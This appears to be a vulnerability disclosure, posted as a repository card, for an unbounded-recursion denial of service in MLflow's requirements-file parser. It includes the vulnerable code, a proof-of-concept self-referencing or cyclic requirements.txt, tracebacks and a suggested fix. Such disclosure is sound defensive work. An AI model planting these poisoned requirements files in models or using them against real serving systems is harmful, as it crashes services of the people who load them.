You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

MLflow requirements.txt -r/-c reference cycle β†’ unbounded recursion (RecursionError) DoS at pyfunc.load_model (non-RCE)

Target: mlflow (mlflow/mlflow) Verified version: mlflow 3.14.0, CPython 3.13.12, sys.getrecursionlimit() == 1000 (Linux) Vulnerable file: mlflow/utils/requirements_utils.py β€” function _parse_requirements Class: Uncontrolled recursion / Denial of Service (CWE-674). Non-RCE. Trigger: Default mlflow.pyfunc.load_model(<model_dir>) on an attacker-supplied model directory. No inference, no valid model, no user input required.


Summary

_parse_requirements resolves pip requirements/constraints file references (-r <file> / -c <file>) recursively via yield from _parse_requirements(abs_path, ...) with no cycle detection, no visited-set, and no depth bound. Because abs_path = os.path.join(base_dir, req_file) is resolved relative to the directory of the current file, a requirements.txt that references itself (-r requirements.txt) β€” or a set of files that form a reference cycle β€” causes the generator to re-enter without bound and exhaust the CPython recursion limit, raising an uncaught RecursionError that crashes the process/worker. It also opens ~1000 nested file handles along the way.

The requirements.txt file ships inside every MLflow model directory and is fully attacker-controlled. On the default mlflow.pyfunc.load_model() path it is parsed at pyfunc/__init__.py:1136 (_get_pip_requirements_from_model_path β†’ line 1070 β†’ _parse_requirements) before Model.load() and flavor validation. So merely loading a malicious model β€” with no valid flavor, no inference, no user-supplied input β€” crashes the caller.

Root cause (code)

mlflow/utils/requirements_utils.py (verified verbatim in mlflow 3.14.0):

def _parse_requirements(requirements, is_constraint=False, base_dir=None):
    if base_dir is None:
        if isinstance(requirements, (str, Path)):
            base_dir = os.path.dirname(requirements)          # line 118
            with open(requirements) as f:
                requirements = f.read().splitlines()
        else:
            base_dir = os.getcwd()
    ...
    for line in lines:
        if _is_requirements_file(line):
            req_file = line.split(maxsplit=1)[1]
            abs_path = os.path.join(base_dir, req_file)
            yield from _parse_requirements(abs_path, is_constraint=False)   # line 136 β€” no cycle/depth guard
        elif _is_constraints_file(line):
            req_file = line.split(maxsplit=1)[1]
            abs_path = os.path.join(base_dir, req_file)
            yield from _parse_requirements(abs_path, is_constraint=True)    # no cycle/depth guard
        else:
            yield _Requirement(line, is_constraint)

There is no visited set of already-parsed paths and no recursion-depth counter, so a self- or mutually-referencing chain recurses until the interpreter's recursion limit is hit.

Reached on the default load path (before flavor validation)

mlflow/pyfunc/__init__.py:

  • load_model() β†’ line 1136: model_requirements = _get_pip_requirements_from_model_path(local_path)
  • _get_pip_requirements_from_model_path() β†’ line 1070: return [req.req_str for req in _parse_requirements(req_file_path, is_constraint=False)]

This runs before Model.load() / flavor checks, confirming a valid model is not needed to trigger.

PoC

Build a model directory containing an MLmodel stub and a poisoned requirements.txt.

Variant A β€” self-reference:

requirements.txt:
scikit-learn
-r requirements.txt

Variant B β€” cycle (two files):

requirements.txt:
mlflow
-r extra.txt

extra.txt:
-r requirements.txt

Then:

import mlflow
mlflow.pyfunc.load_model("<model_dir>")   # raises uncaught RecursionError

repro.py (included) builds all three model dirs (self-ref, cycle, benign control) and runs each.

Negative control

A benign requirements.txt (scikit-learn==1.3.0\nnumpy\n) parses fine β€” it only emits a dependency-mismatch WARNING β€” and load then proceeds normally to the flavor check, raising MlflowException: Model does not have the "python_function" flavor for the stub MLmodel. This proves the crash in the malicious cases is specifically the requirements-file recursion, occurring before any model / flavor parsing.

Captured evidence (verbatim, mlflow 3.14.0 / CPython 3.13.12 / reclimit 1000)

2026/07/16 16:27:58 WARNING mlflow.utils.requirements_utils: Detected one or more mismatches between the model's dependencies and the current Python environment:
 - scikit-learn (current: 1.9.0, required: scikit-learn==1.3.0)
To fix the mismatches, call `mlflow.pyfunc.get_model_dependencies(model_uri)` to fetch the model's environment and install dependencies using the resulting environment file.

### self-reference (-r requirements.txt) -> .../models/selfref
-> RecursionError. _parse_requirements in tb: True
Traceback (most recent call last):
  File ".../repro.py", line 30, in run
...
    yield from _parse_requirements(abs_path, is_constraint=False)
  [Previous line repeated 990 more times]
  File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements
    base_dir = os.path.dirname(requirements)
  File "<frozen posixpath>", line 179, in dirname
RecursionError: maximum recursion depth exceeded

### cyclic (requirements.txt <-> extra.txt) -> .../models/cycle
-> RecursionError. _parse_requirements in tb: True
Traceback (most recent call last):
  File ".../repro.py", line 30, in run
...
    yield from _parse_requirements(abs_path, is_constraint=False)
  [Previous line repeated 990 more times]
  File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements
    base_dir = os.path.dirname(requirements)
  File "<frozen posixpath>", line 179, in dirname
RecursionError: maximum recursion depth exceeded

### NEGATIVE CONTROL benign requirements.txt -> .../models/benign
-> MlflowException: Model does not have the "python_function" flavor

mlflow 3.14.0 | py 3.13.12 reclimit 1000

Full-traceback variant captured directly at load_model:

Traceback (most recent call last):
  ...
  File ".../mlflow/pyfunc/__init__.py", line 1136, in load_model
    model_requirements = _get_pip_requirements_from_model_path(local_path)
  File ".../mlflow/pyfunc/__init__.py", line 1070, in _get_pip_requirements_from_model_path
    return [req.req_str for req in _parse_requirements(req_file_path, is_constraint=False)]
  File ".../mlflow/utils/requirements_utils.py", line 136, in _parse_requirements
    yield from _parse_requirements(abs_path, is_constraint=False)
  [Previous line repeated 991 more times]
  File ".../mlflow/utils/requirements_utils.py", line 118, in _parse_requirements
    base_dir = os.path.dirname(requirements)
RecursionError: maximum recursion depth exceeded

Impact

  • Loading an attacker-supplied MLflow model (a common operation: model registry pulls, pyfunc.load_model, serving/scoring servers that materialize a model before serving) crashes the process/worker with an uncaught RecursionError.
  • Also transiently opens ~1000 nested file descriptors before unwinding.
  • Non-RCE; availability impact only.

Suggested fix

Track visited absolute paths (canonicalized via os.path.realpath) in a set threaded through the recursion, and/or impose a maximum include depth; raise a clear MlflowException on a cycle or when the depth cap is exceeded β€” mirroring how pip itself guards requirements-file includes.

Dedup note

  • Distinct from the MLflow signature/schema recursion DoS (_dataframe_from_json / TensorSpec / ParamSpec paths) β€” that is a different code path in the model-signature deserializer. This finding is in the pip-requirements file parser _parse_requirements, reached via _get_pip_requirements_from_model_path on the default pyfunc.load_model path, and is triggered purely by requirements.txt include directives.
  • Distinct from mlflow-pyfunc-artifacts-path-traversal and the flavor-loader RCE findings.
  • No known CVE covers -r/-c reference-cycle unbounded recursion in _parse_requirements at the time of writing.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support